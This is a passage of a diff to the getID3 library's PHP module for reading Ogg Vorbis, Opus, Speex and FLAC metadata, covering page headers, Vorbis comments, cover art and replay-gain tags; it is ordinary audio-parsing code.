the number of header (non-audio) packets, not including this one. This number may be zero (0x0000) to signify 'unknown' but be aware that some decoders may not be able to handle such streams." - $info['ogg']['flac']['header']['magic'] = substr($filedata, 9, 4); - if ($info['ogg']['flac']['header']['magic'] != 'fLaC') { - $this->error('Ogg-FLAC expecting "fLaC", found "'.$info['ogg']['flac']['header']['magic'].'" ('.trim(getid3_lib::PrintHexBytes($info['ogg']['flac']['header']['magic'])).')'); - return false; - } - $info['ogg']['flac']['header']['STREAMINFO_bytes'] = getid3_lib::BigEndian2Int(substr($filedata, 13, 4)); - $info['flac']['STREAMINFO'] = getid3_flac::parseSTREAMINFOdata(substr($filedata, 17, 34)); - if (!empty($info['flac']['STREAMINFO']['sample_rate'])) { - $info['audio']['bitrate_mode'] = 'vbr'; - $info['audio']['sample_rate'] = $info['flac']['STREAMINFO']['sample_rate']; - $info['audio']['channels'] = $info['flac']['STREAMINFO']['channels']; - $info['audio']['bits_per_sample'] = $info['flac']['STREAMINFO']['bits_per_sample']; - $info['playtime_seconds'] = $info['flac']['STREAMINFO']['samples_stream'] / $info['flac']['STREAMINFO']['sample_rate']; - } - - } else { - - $this->error('Expecting one of "vorbis", "Speex", "OpusHead", "vorbis", "fishhead", "theora", "fLaC" identifier strings, found "'.substr($filedata, 0, 8).'"'); - unset($info['ogg']); - unset($info['mime_type']); - return false; - - } - - // Page 2 - Comment Header - $oggpageinfo = $this->ParseOggPageHeader(); - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo; - - switch ($info['audio']['dataformat']) { - case 'vorbis': - $filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']); - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, 0, 1)); - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, 1, 6); // hard-coded to 'vorbis' - - $this->ParseVorbisComments(); - break; - - case 'flac': - $flac = new getid3_flac($this->getid3); - if (!$flac->parseMETAdata()) { - $this->error('Failed to parse FLAC headers'); - return false; - } - unset($flac); - break; - - case 'speex': - $this->fseek($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length'], SEEK_CUR); - $this->ParseVorbisComments(); - break; - - case 'opus': - $filedata = $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']); - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, 0, 8); // hard-coded to 'OpusTags' - if(substr($filedata, 0, 8) != 'OpusTags') { - $this->error('Expected "OpusTags" as header but got "'.substr($filedata, 0, 8).'"'); - return false; - } - - $this->ParseVorbisComments(); - break; - - } - - // Last Page - Number of Samples - if (!getid3_lib::intValueSupported($info['avdataend'])) { - - $this->warning('Unable to parse Ogg end chunk file (PHP does not support file operations beyond '.round(PHP_INT_MAX / 1073741824).'GB)'); - - } else { - - $this->fseek(max($info['avdataend'] - $this->getid3->fread_buffer_size(), 0)); - $LastChunkOfOgg = strrev($this->fread($this->getid3->fread_buffer_size())); - if ($LastOggSpostion = strpos($LastChunkOfOgg, 'SggO')) { - $this->fseek($info['avdataend'] - ($LastOggSpostion + strlen('SggO'))); - $info['avdataend'] = $this->ftell(); - $info['ogg']['pageheader']['eos'] = $this->ParseOggPageHeader(); - $info['ogg']['samples'] = $info['ogg']['pageheader']['eos']['pcm_abs_position']; - if ($info['ogg']['samples'] == 0) { - $this->error('Corrupt Ogg file: eos.number of samples == zero'); - return false; - } - if (!empty($info['audio']['sample_rate'])) { - $info['ogg']['bitrate_average'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / ($info['ogg']['samples'] / $info['audio']['sample_rate']); - } - } - - } - - if (!empty($info['ogg']['bitrate_average'])) { - $info['audio']['bitrate'] = $info['ogg']['bitrate_average']; - } elseif (!empty($info['ogg']['bitrate_nominal'])) { - $info['audio']['bitrate'] = $info['ogg']['bitrate_nominal']; - } elseif (!empty($info['ogg']['bitrate_min']) && !empty($info['ogg']['bitrate_max'])) { - $info['audio']['bitrate'] = ($info['ogg']['bitrate_min'] + $info['ogg']['bitrate_max']) / 2; - } - if (isset($info['audio']['bitrate']) && !isset($info['playtime_seconds'])) { - if ($info['audio']['bitrate'] == 0) { - $this->error('Corrupt Ogg file: bitrate_audio == zero'); - return false; - } - $info['playtime_seconds'] = (float) ((($info['avdataend'] - $info['avdataoffset']) * 8) / $info['audio']['bitrate']); - } - - if (isset($info['ogg']['vendor'])) { - $info['audio']['encoder'] = preg_replace('/^Encoded with /', '', $info['ogg']['vendor']); - - // Vorbis only - if ($info['audio']['dataformat'] == 'vorbis') { - - // Vorbis 1.0 starts with Xiph.Org - if (preg_match('/^Xiph.Org/', $info['audio']['encoder'])) { - - if ($info['audio']['bitrate_mode'] == 'abr') { - - // Set -b 128 on abr files - $info['audio']['encoder_options'] = '-b '.round($info['ogg']['bitrate_nominal'] / 1000); - - } elseif (($info['audio']['bitrate_mode'] == 'vbr') && ($info['audio']['channels'] == 2) && ($info['audio']['sample_rate'] >= 44100) && ($info['audio']['sample_rate'] <= 48000)) { - // Set -q N on vbr files - $info['audio']['encoder_options'] = '-q '.$this->get_quality_from_nominal_bitrate($info['ogg']['bitrate_nominal']); - - } - } - - if (empty($info['audio']['encoder_options']) && !empty($info['ogg']['bitrate_nominal'])) { - $info['audio']['encoder_options'] = 'Nominal bitrate: '.intval(round($info['ogg']['bitrate_nominal'] / 1000)).'kbps'; - } - } - } - - return true; - } - - /** - * @param string $filedata - * @param int $filedataoffset - * @param array $oggpageinfo - * - * @return bool - */ - public function ParseVorbisPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) { - $info = &$this->getid3->info; - $info['audio']['dataformat'] = 'vorbis'; - $info['audio']['lossless'] = false; - - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['packet_type'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); - $filedataoffset += 1; - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['stream_type'] = substr($filedata, $filedataoffset, 6); // hard-coded to 'vorbis' - $filedataoffset += 6; - $info['ogg']['bitstreamversion'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['numberofchannels'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); - $filedataoffset += 1; - $info['audio']['channels'] = $info['ogg']['numberofchannels']; - $info['ogg']['samplerate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - if ($info['ogg']['samplerate'] == 0) { - $this->error('Corrupt Ogg file: sample rate == zero'); - return false; - } - $info['audio']['sample_rate'] = $info['ogg']['samplerate']; - $info['ogg']['samples'] = 0; // filled in later - $info['ogg']['bitrate_average'] = 0; // filled in later - $info['ogg']['bitrate_max'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['bitrate_nominal'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['bitrate_min'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $info['ogg']['blocksize_small'] = pow(2, getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0x0F); - $info['ogg']['blocksize_large'] = pow(2, (getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)) & 0xF0) >> 4); - $info['ogg']['stop_bit'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); // must be 1, marks end of packet - - $info['audio']['bitrate_mode'] = 'vbr'; // overridden if actually abr - if ($info['ogg']['bitrate_max'] == 0xFFFFFFFF) { - unset($info['ogg']['bitrate_max']); - $info['audio']['bitrate_mode'] = 'abr'; - } - if ($info['ogg']['bitrate_nominal'] == 0xFFFFFFFF) { - unset($info['ogg']['bitrate_nominal']); - } - if ($info['ogg']['bitrate_min'] == 0xFFFFFFFF) { - unset($info['ogg']['bitrate_min']); - $info['audio']['bitrate_mode'] = 'abr'; - } - return true; - } - - /** - * @link http://tools.ietf.org/html/draft-ietf-codec-oggopus-03 - * - * @param string $filedata - * @param int $filedataoffset - * @param array $oggpageinfo - * - * @return bool - */ - public function ParseOpusPageHeader(&$filedata, &$filedataoffset, &$oggpageinfo) { - $info = &$this->getid3->info; - $info['audio']['dataformat'] = 'opus'; - $info['mime_type'] = 'audio/ogg; codecs=opus'; - - /** @todo find a usable way to detect abr (vbr that is padded to be abr) */ - $info['audio']['bitrate_mode'] = 'vbr'; - - $info['audio']['lossless'] = false; - - $info['ogg']['pageheader']['opus']['opus_magic'] = substr($filedata, $filedataoffset, 8); // hard-coded to 'OpusHead' - $filedataoffset += 8; - $info['ogg']['pageheader']['opus']['version'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); - $filedataoffset += 1; - - if ($info['ogg']['pageheader']['opus']['version'] < 1 || $info['ogg']['pageheader']['opus']['version'] > 15) { - $this->error('Unknown opus version number (only accepting 1-15)'); - return false; - } - - $info['ogg']['pageheader']['opus']['out_channel_count'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); - $filedataoffset += 1; - - if ($info['ogg']['pageheader']['opus']['out_channel_count'] == 0) { - $this->error('Invalid channel count in opus header (must not be zero)'); - return false; - } - - $info['ogg']['pageheader']['opus']['pre_skip'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 2)); - $filedataoffset += 2; - - $info['ogg']['pageheader']['opus']['input_sample_rate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - - //$info['ogg']['pageheader']['opus']['output_gain'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 2)); - //$filedataoffset += 2; - - //$info['ogg']['pageheader']['opus']['channel_mapping_family'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); - //$filedataoffset += 1; - - $info['opus']['opus_version'] = $info['ogg']['pageheader']['opus']['version']; - $info['opus']['sample_rate_input'] = $info['ogg']['pageheader']['opus']['input_sample_rate']; - $info['opus']['out_channel_count'] = $info['ogg']['pageheader']['opus']['out_channel_count']; - - $info['audio']['channels'] = $info['opus']['out_channel_count']; - $info['audio']['sample_rate_input'] = $info['opus']['sample_rate_input']; - $info['audio']['sample_rate'] = 48000; // "All Opus audio is coded at 48 kHz, and should also be decoded at 48 kHz for playback (unless the target hardware does not support this sampling rate). However, this field may be used to resample the audio back to the original sampling rate, for example, when saving the output to a file." -- https://mf4.xiph.org/jenkins/view/opus/job/opusfile-unix/ws/doc/html/structOpusHead.html - return true; - } - - /** - * @return array|false - */ - public function ParseOggPageHeader() { - // http://xiph.org/ogg/vorbis/doc/framing.html - $oggheader = array(); - $oggheader['page_start_offset'] = $this->ftell(); // where we started from in the file - - $filedata = $this->fread($this->getid3->fread_buffer_size()); - $filedataoffset = 0; - while ((substr($filedata, $filedataoffset++, 4) != 'OggS')) { - if (($this->ftell() - $oggheader['page_start_offset']) >= $this->getid3->fread_buffer_size()) { - // should be found before here - return false; - } - if ((($filedataoffset + 28) > strlen($filedata)) || (strlen($filedata) < 28)) { - if ($this->feof() || (($filedata .= $this->fread($this->getid3->fread_buffer_size())) === '')) { - // get some more data, unless eof, in which case fail - return false; - } - } - } - $filedataoffset += strlen('OggS') - 1; // page, delimited by 'OggS' - - $oggheader['stream_structver'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); - $filedataoffset += 1; - $oggheader['flags_raw'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); - $filedataoffset += 1; - $oggheader['flags']['fresh'] = (bool) ($oggheader['flags_raw'] & 0x01); // fresh packet - $oggheader['flags']['bos'] = (bool) ($oggheader['flags_raw'] & 0x02); // first page of logical bitstream (bos) - $oggheader['flags']['eos'] = (bool) ($oggheader['flags_raw'] & 0x04); // last page of logical bitstream (eos) - - $oggheader['pcm_abs_position'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 8)); - $filedataoffset += 8; - $oggheader['stream_serialno'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $oggheader['page_seqno'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $oggheader['page_checksum'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); - $filedataoffset += 4; - $oggheader['page_segments'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); - $filedataoffset += 1; - $oggheader['page_length'] = 0; - for ($i = 0; $i < $oggheader['page_segments']; $i++) { - $oggheader['segment_table'][$i] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 1)); - $filedataoffset += 1; - $oggheader['page_length'] += $oggheader['segment_table'][$i]; - } - $oggheader['header_end_offset'] = $oggheader['page_start_offset'] + $filedataoffset; - $oggheader['page_end_offset'] = $oggheader['header_end_offset'] + $oggheader['page_length']; - $this->fseek($oggheader['header_end_offset']); - - return $oggheader; - } - - /** - * @link http://xiph.org/vorbis/doc/Vorbis_I_spec.html#x1-810005 - * - * @return bool - */ - public function ParseVorbisComments() { - $info = &$this->getid3->info; - - $OriginalOffset = $this->ftell(); - $commentdata = null; - $commentdataoffset = 0; - $VorbisCommentPage = 1; - $CommentStartOffset = 0; - - switch ($info['audio']['dataformat']) { - case 'vorbis': - case 'speex': - case 'opus': - $CommentStartOffset = $info['ogg']['pageheader'][$VorbisCommentPage]['page_start_offset']; // Second Ogg page, after header block - $this->fseek($CommentStartOffset); - $commentdataoffset = 27 + $info['ogg']['pageheader'][$VorbisCommentPage]['page_segments']; - $commentdata = $this->fread(self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1) + $commentdataoffset); - - if ($info['audio']['dataformat'] == 'vorbis') { - $commentdataoffset += (strlen('vorbis') + 1); - } - else if ($info['audio']['dataformat'] == 'opus') { - $commentdataoffset += strlen('OpusTags'); - } - - break; - - case 'flac': - $CommentStartOffset = $info['flac']['VORBIS_COMMENT']['raw']['offset'] + 4; - $this->fseek($CommentStartOffset); - $commentdata = $this->fread($info['flac']['VORBIS_COMMENT']['raw']['block_length']); - break; - - default: - return false; - } - - $VendorSize = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4)); - $commentdataoffset += 4; - - $info['ogg']['vendor'] = substr($commentdata, $commentdataoffset, $VendorSize); - $commentdataoffset += $VendorSize; - - $CommentsCount = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4)); - $commentdataoffset += 4; - $info['avdataoffset'] = $CommentStartOffset + $commentdataoffset; - - $basicfields = array('TITLE', 'ARTIST', 'ALBUM', 'TRACKNUMBER', 'GENRE', 'DATE', 'DESCRIPTION', 'COMMENT'); - $ThisFileInfo_ogg_comments_raw = &$info['ogg']['comments_raw']; - for ($i = 0; $i < $CommentsCount; $i++) { - - if ($i >= 10000) { - // https://github.com/owncloud/music/issues/212#issuecomment-43082336 - $this->warning('Unexpectedly large number ('.$CommentsCount.') of Ogg comments - breaking after reading '.$i.' comments'); - break; - } - - $ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] = $CommentStartOffset + $commentdataoffset; - - if ($this->ftell() < ($ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + 4)) { - if ($oggpageinfo = $this->ParseOggPageHeader()) { - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo; - - $VorbisCommentPage++; - - // First, save what we haven't read yet - $AsYetUnusedData = substr($commentdata, $commentdataoffset); - - // Then take that data off the end - $commentdata = substr($commentdata, 0, $commentdataoffset); - - // Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct - $commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']); - $commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']); - - // Finally, stick the unused data back on the end - $commentdata .= $AsYetUnusedData; - - //$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']); - $commentdata .= $this->fread($this->OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1)); - } - - } - $ThisFileInfo_ogg_comments_raw[$i]['size'] = getid3_lib::LittleEndian2Int(substr($commentdata, $commentdataoffset, 4)); - - // replace avdataoffset with position just after the last vorbiscomment - $info['avdataoffset'] = $ThisFileInfo_ogg_comments_raw[$i]['dataoffset'] + $ThisFileInfo_ogg_comments_raw[$i]['size'] + 4; - - $commentdataoffset += 4; - while ((strlen($commentdata) - $commentdataoffset) < $ThisFileInfo_ogg_comments_raw[$i]['size']) { - if (($ThisFileInfo_ogg_comments_raw[$i]['size'] > $info['avdataend']) || ($ThisFileInfo_ogg_comments_raw[$i]['size'] < 0)) { - $this->warning('Invalid Ogg comment size (comment #'.$i.', claims to be '.number_format($ThisFileInfo_ogg_comments_raw[$i]['size']).' bytes) - aborting reading comments'); - break 2; - } - - $VorbisCommentPage++; - - if ($oggpageinfo = $this->ParseOggPageHeader()) { - $info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo; - - // First, save what we haven't read yet - $AsYetUnusedData = substr($commentdata, $commentdataoffset); - - // Then take that data off the end - $commentdata = substr($commentdata, 0, $commentdataoffset); - - // Add [headerlength] bytes of dummy data for the Ogg Page Header, just to keep absolute offsets correct - $commentdata .= str_repeat("\x00", 27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']); - $commentdataoffset += (27 + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_segments']); - - // Finally, stick the unused data back on the end - $commentdata .= $AsYetUnusedData; - - //$commentdata .= $this->fread($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['page_length']); - if (!isset($info['ogg']['pageheader'][$VorbisCommentPage])) { - $this->warning('undefined Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell()); - break; - } - $readlength = self::OggPageSegmentLength($info['ogg']['pageheader'][$VorbisCommentPage], 1); - if ($readlength <= 0) { - $this->warning('invalid length Vorbis Comment page "'.$VorbisCommentPage.'" at offset '.$this->ftell()); - break; - } - $commentdata .= $this->fread($readlength); - - //$filebaseoffset += $oggpageinfo['header_end_offset'] - $oggpageinfo['page_start_offset']; - } else { - $this->warning('failed to ParseOggPageHeader() at offset '.$this->ftell()); - break; - } - } - $ThisFileInfo_ogg_comments_raw[$i]['offset'] = $commentdataoffset; - $commentstring = substr($commentdata, $commentdataoffset, $ThisFileInfo_ogg_comments_raw[$i]['size']); - $commentdataoffset += $ThisFileInfo_ogg_comments_raw[$i]['size']; - - if (!$commentstring) { - - // no comment? - $this->warning('Blank Ogg comment ['.$i.']'); - - } elseif (strstr($commentstring, '=')) { - - $commentexploded = explode('=', $commentstring, 2); - $ThisFileInfo_ogg_comments_raw[$i]['key'] = strtoupper($commentexploded[0]); - $ThisFileInfo_ogg_comments_raw[$i]['value'] = (isset($commentexploded[1]) ? $commentexploded[1] : ''); - - if ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'METADATA_BLOCK_PICTURE') { - - // http://wiki.xiph.org/VorbisComment#METADATA_BLOCK_PICTURE - // The unencoded format is that of the FLAC picture block. The fields are stored in big endian order as in FLAC, picture data is stored according to the relevant standard. - // http://flac.sourceforge.net/format.html#metadata_block_picture - $flac = new getid3_flac($this->getid3); - $flac->setStringMode(base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value'])); - $flac->parsePICTURE(); - $info['ogg']['comments']['picture'][] = $flac->getid3->info['flac']['PICTURE'][0]; - unset($flac); - - } elseif ($ThisFileInfo_ogg_comments_raw[$i]['key'] == 'COVERART') { - - $data = base64_decode($ThisFileInfo_ogg_comments_raw[$i]['value']); - $this->notice('Found deprecated COVERART tag, it should be replaced in honor of METADATA_BLOCK_PICTURE structure'); - /** @todo use 'coverartmime' where available */ - $imageinfo = getid3_lib::GetDataImageSize($data); - if ($imageinfo === false || !isset($imageinfo['mime'])) { - $this->warning('COVERART vorbiscomment tag contains invalid image'); - continue; - } - - $ogg = new self($this->getid3); - $ogg->setStringMode($data); - $info['ogg']['comments']['picture'][] = array( - 'image_mime' => $imageinfo['mime'], - 'datalength' => strlen($data), - 'picturetype' => 'cover art', - 'image_height' => $imageinfo['height'], - 'image_width' => $imageinfo['width'], - 'data' => $ogg->saveAttachment('coverart', 0, strlen($data), $imageinfo['mime']), - ); - unset($ogg); - - } else { - - $info['ogg']['comments'][strtolower($ThisFileInfo_ogg_comments_raw[$i]['key'])][] = $ThisFileInfo_ogg_comments_raw[$i]['value']; - - } - - } else { - - $this->warning('[known problem with CDex >= v1.40, < v1.50b7] Invalid Ogg comment name/value pair ['.$i.']: '.$commentstring); - - } - unset($ThisFileInfo_ogg_comments_raw[$i]); - } - unset($ThisFileInfo_ogg_comments_raw); - - - // Replay Gain Adjustment - // http://privatewww.essex.ac.uk/~djmrob/replaygain/ - if (isset($info['ogg']['comments']) && is_array($info['ogg']['comments'])) { - foreach ($info['ogg']['comments'] as $index => $commentvalue) { - switch ($index) { - case 'rg_audiophile': - case 'replaygain_album_gain': - $info['replay_gain']['album']['adjustment'] = (double) $commentvalue[0]; - unset($info['ogg']['comments'][$index]); - break; - - case 'rg_radio': - case 'replaygain_track_gain': - $info['replay_gain']['track']['adjustment'] = (double) $commentvalue[0]; - unset($info['ogg']['comments'][$index]); - break; - - case 'replaygain_album_peak': - $info['replay_gain']['album']['peak'] = (double) $commentvalue[0]; - unset($info['ogg']['comments'][$index]); - break; - - case 'rg_peak': - case 'replaygain_track_peak': - $info['replay_gain']['track']['peak'] = (double) $commentvalue[0]; - unset($info['ogg']['comments'][$index]); - break; - - case 'replaygain_reference_loudness': - $info['replay_gain']['reference_volume'] = (double) $commentvalue[0]; - unset($info['ogg']['comments'][$index]); - break; - - default: - // do nothing - break; - } - } - } - - $this->fseek($OriginalOffset); - - return true; - } - - /** - * @param int $mode - * - * @return string|null - */ - public static function SpeexBandModeLookup($mode) { - static $SpeexBandModeLookup = array(); - if (empty($SpeexBandModeLookup)) { - $SpeexBandModeLookup[0] = 'narrow'; - $SpeexBandModeLookup[1] = 'wide'; - $SpeexBandModeLookup[2] = 'ultra-wide'; - } - return (isset($SpeexBandModeLookup[$mode]) ? $SpeexBandModeLookup[$mode] : null); - } - - /** - * @param array $OggInfoArray - * @param int $SegmentNumber - * - * @return int - */ - public static function OggPageSegmentLength($OggInfoArray, $SegmentNumber=1) { - $segmentlength = 0; - for ($i = 0; $i < $SegmentNumber; $i++) { - $segmentlength = 0; - foreach ($OggInfoArray['segment_table'] as $key => $value) { - $segmentlength += $value; - if ($value < 255) { - break; - } - } - } - return $segmentlength; - } - - /** - * @param int $nominal_bitrate - * - * @return float - */ - public static function get_quality_from_nominal_bitrate($nominal_bitrate) { - - // decrease precision - $nominal_bitrate = $nominal_bitrate / 1000; - - if ($nominal_bitrate < 128) { - // q-1 to q4 - $qval = ($nominal_bitrate - 64) / 16; - } elseif ($nominal_bitrate < 256) { - // q4 to q8 - $qval = $nominal_bitrate / 32; - } elseif ($nominal_bitrate < 320) { - // q8 to q9 - $qval = ($nominal_bitrate + 256) / 64; - } else { - // q9 to q10 - $qval = ($nominal_bitrate + 1300) / 180; - } - //return $qval; // 5.031324 - //return intval($qval); // 5 - return round($qval, 1); // 5 or 4.9 - } - - /** - * @param int $colorspace_id - * - * @return string|null - */ - public static function TheoraColorSpace($colorspace_id) { - // http://www.theora.org/doc/Theora.pdf (table 6.3) - static $TheoraColorSpaceLookup = array(); - if (empty($TheoraColorSpaceLookup)) { - $TheoraColorSpaceLookup[0] = 'Undefined'; - $TheoraColorSpaceLookup[1] = 'Rec. 470M'; - $TheoraColorSpaceLookup[2] = 'Rec. 470BG'; - $TheoraColorSpaceLookup[3] = 'Reserved'; - } - return (isset($TheoraColorSpaceLookup[$colorspace_id]) ? $TheoraColorSpaceLookup[$colorspace_id] : null); - } - - /** - * @param int $pixelformat_id - * - * @return string|null - */ - public static function TheoraPixelFormat($pixelformat_id) { - // http://www.theora.org/doc/Theora.pdf (table 6.4) - static $TheoraPixelFormatLookup = array(); - if (empty($TheoraPixelFormatLookup)) { - $TheoraPixelFormatLookup[0] = '4:2:0'; - $TheoraPixelFormatLookup[1] = 'Reserved'; - $TheoraPixelFormatLookup[2] = '4:2:2'; - $TheoraPixelFormatLookup[3] = '4:4:4'; - } - return (isset($TheoraPixelFormatLookup[$pixelformat_id]) ? $TheoraPixelFormatLookup[$pixelformat_id] : null); - } - -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// see readme.txt for more details // +///////////////////////////////////////////////////////////////// +// // +// module.audio.ogg.php // +// module for analyzing Ogg Vorbis, OggFLAC and Speex files // +// dependencies: module.audio.flac.php // +// /// +///////////////////////////////////////////////////////////////// + +if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers + exit; +} +getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio.flac.php', __FILE__, true); + +class getid3_ogg extends getid3_handler +{ + /** + * @link http://xiph.org/vorbis/doc/Vorbis_I_spec.html + * + * @return bool + */ + public function Analyze() { + $info = &$this->getid3->info; + + $info['fileformat'] = 'ogg'; + + // Warn about illegal tags - only vorbiscomments are allowed + if (isset($info['id3v2'])) { + $this->warning('Illegal ID3v2 tag present.'); + } + if (isset($info['id3v1'])) { + $this->warning('Illegal ID3v1 tag present.'); + } + if (isset($info['ape'])) { + $this->warning('Illegal APE tag present.'); + } + + + // Page 1 - Stream Header + + $this->fseek($info['avdataoffset']); + + $oggpageinfo = $this->ParseOggPageHeader(); + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']] = $oggpageinfo; + + if ($this->ftell() >= $this->getid3->fread_buffer_size()) { + $this->error('Could not find start of Ogg page in the first '.$this->getid3->fread_buffer_size().' bytes (this might not be an Ogg-Vorbis file?)'); + unset($info['fileformat']); + unset($info['ogg']); + return false; + } + + $filedata = $this->fread($oggpageinfo['page_length']); + $filedataoffset = 0; + + if (substr($filedata, 0, 4) == 'fLaC') { + + $info['audio']['dataformat'] = 'flac'; + $info['audio']['bitrate_mode'] = 'vbr'; + $info['audio']['lossless'] = true; + + } elseif (substr($filedata, 1, 6) == 'vorbis') { + + $this->ParseVorbisPageHeader($filedata, $filedataoffset, $oggpageinfo); + + } elseif (substr($filedata, 0, 8) == 'OpusHead') { + + if ($this->ParseOpusPageHeader($filedata, $filedataoffset, $oggpageinfo) === false) { + return false; + } + + } elseif (substr($filedata, 0, 8) == 'Speex ') { + + // http://www.speex.org/manual/node10.html + + $info['audio']['dataformat'] = 'speex'; + $info['mime_type'] = 'audio/speex'; + $info['audio']['bitrate_mode'] = 'abr'; + $info['audio']['lossless'] = false; + + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_string'] = substr($filedata, $filedataoffset, 8); // hard-coded to 'Speex ' + $filedataoffset += 8; + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version'] = substr($filedata, $filedataoffset, 20); + $filedataoffset += 20; + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version_id'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['header_size'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['rate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['mode_bitstream_version'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['nb_channels'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['bitrate'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['framesize'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['vbr'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['frames_per_packet'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['extra_headers'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved1'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + $info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['reserved2'] = getid3_lib::LittleEndian2Int(substr($filedata, $filedataoffset, 4)); + $filedataoffset += 4; + + $info['speex']['speex_version'] = trim($info['ogg']['pageheader'][$oggpageinfo['page_seqno']]['speex_version']); + $info['speex']['sample_rate'] = 